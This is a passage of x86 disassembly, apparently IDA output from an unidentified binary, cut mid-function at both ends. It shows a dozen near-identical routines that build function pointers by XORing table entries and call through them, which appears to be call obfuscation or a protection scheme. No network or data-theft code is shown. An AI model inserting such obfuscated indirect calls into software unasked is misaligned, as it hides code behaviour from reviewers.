mov [ebp+var_20], 57h
mov [ebp+var_1C], 4Ch
mov [ebp+var_18], 0AFh
mov [ebp+var_14], 0ACh
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AFE54
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AFE54: ; CODE XREF: sub_4AFDC3+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AFDC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AFEC0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB70o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Fh
mov [ebp+var_2C], 92h
mov [ebp+var_28], 0BBh
mov [ebp+var_24], 94h
mov [ebp+var_20], 5Dh
mov [ebp+var_1C], 76h
mov [ebp+var_18], 55h
mov [ebp+var_14], 0Dh
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AFF51
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AFF51: ; CODE XREF: sub_4AFEC0+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AFEC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AFFBD proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB74o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Ah
mov [ebp+var_2C], 0A8h
mov [ebp+var_28], 9Fh
mov [ebp+var_24], 79h
mov [ebp+var_20], 0ECh
mov [ebp+var_1C], 0A0h
mov [ebp+var_18], 51h
mov [ebp+var_14], 88h
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B004D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B004D: ; CODE XREF: sub_4AFFBD+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AFFBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B00B9 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB78o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E6h
mov [ebp+var_2C], 10h
mov [ebp+var_28], 0DAh
mov [ebp+var_24], 68h
mov [ebp+var_20], 82h
mov [ebp+var_1C], 0A8h
mov [ebp+var_18], 94h
mov [ebp+var_14], 9Bh
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B014A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B014A: ; CODE XREF: sub_4B00B9+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B00B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B01B6 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB7Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0Bh
mov [ebp+var_2C], 0C1h
mov [ebp+var_28], 5Ch
mov [ebp+var_24], 0CFh
mov [ebp+var_20], 23h
mov [ebp+var_1C], 0BEh
mov [ebp+var_18], 0D5h
mov [ebp+var_14], 0D4h
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0247
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0247: ; CODE XREF: sub_4B01B6+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B01B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B02B3 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB80o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 73h
mov [ebp+var_2C], 6Bh
mov [ebp+var_28], 0Fh
mov [ebp+var_24], 0D9h
mov [ebp+var_20], 0B3h
mov [ebp+var_1C], 0AFh
mov [ebp+var_18], 22h
mov [ebp+var_14], 0Eh
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0344
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0344: ; CODE XREF: sub_4B02B3+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B02B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B03B0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB84o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 89h
mov [ebp+var_2C], 0BAh
mov [ebp+var_28], 0AFh
mov [ebp+var_24], 35h
mov [ebp+var_20], 0E8h
mov [ebp+var_1C], 0B0h
mov [ebp+var_18], 5Ah
mov [ebp+var_14], 31h
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0441
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0441: ; CODE XREF: sub_4B03B0+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B03B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B04AD proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB88o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3
mov [ebp+var_2C], 0A9h
mov [ebp+var_28], 0D4h
mov [ebp+var_24], 0C0h
mov [ebp+var_20], 2Fh
mov [ebp+var_1C], 4Ah
mov [ebp+var_18], 0EEh
mov [ebp+var_14], 2Fh
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B053E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B053E: ; CODE XREF: sub_4B04AD+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B04AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B05AA proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB8Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0F0h
mov [ebp+var_2C], 61h
mov [ebp+var_28], 0F7h
mov [ebp+var_24], 37h
mov [ebp+var_20], 0CEh
mov [ebp+var_1C], 69h
mov [ebp+var_18], 8
mov [ebp+var_14], 0DBh
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B063B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B063B: ; CODE XREF: sub_4B05AA+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B05AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B06A7 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB90o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 39h
mov [ebp+var_2C], 63h
mov [ebp+var_28], 3Ah
mov [ebp+var_24], 21h
mov [ebp+var_20], 0A8h
mov [ebp+var_1C], 7
mov [ebp+var_18], 0DDh
mov [ebp+var_14], 0A1h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0738
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0738: ; CODE XREF: sub_4B06A7+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B06A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B07A4 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB94o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E6h
mov [ebp+var_2C], 17h
mov [ebp+var_28], 0DFh
mov [ebp+var_24], 0B8h
mov [ebp+var_20], 5Eh
mov [ebp+var_1C], 8Bh
mov [ebp+var_18], 36h
mov [ebp+var_14], 0D8h
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0832
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0832: ; CODE XREF: sub_4B07A4+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B07A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B089E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB98o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 89h
mov [ebp+var_2C], 8Eh
mov [ebp+var_28], 2Dh
mov [ebp+var_24], 0CCh
mov [ebp+var_20], 0CBh
mov [ebp+var_1C], 63h
mov [ebp+var_18], 0D7h
mov [ebp+var_14], 31h
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B092F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B092F: ; CODE XREF: sub_4B089E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B089E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B099B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB9Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
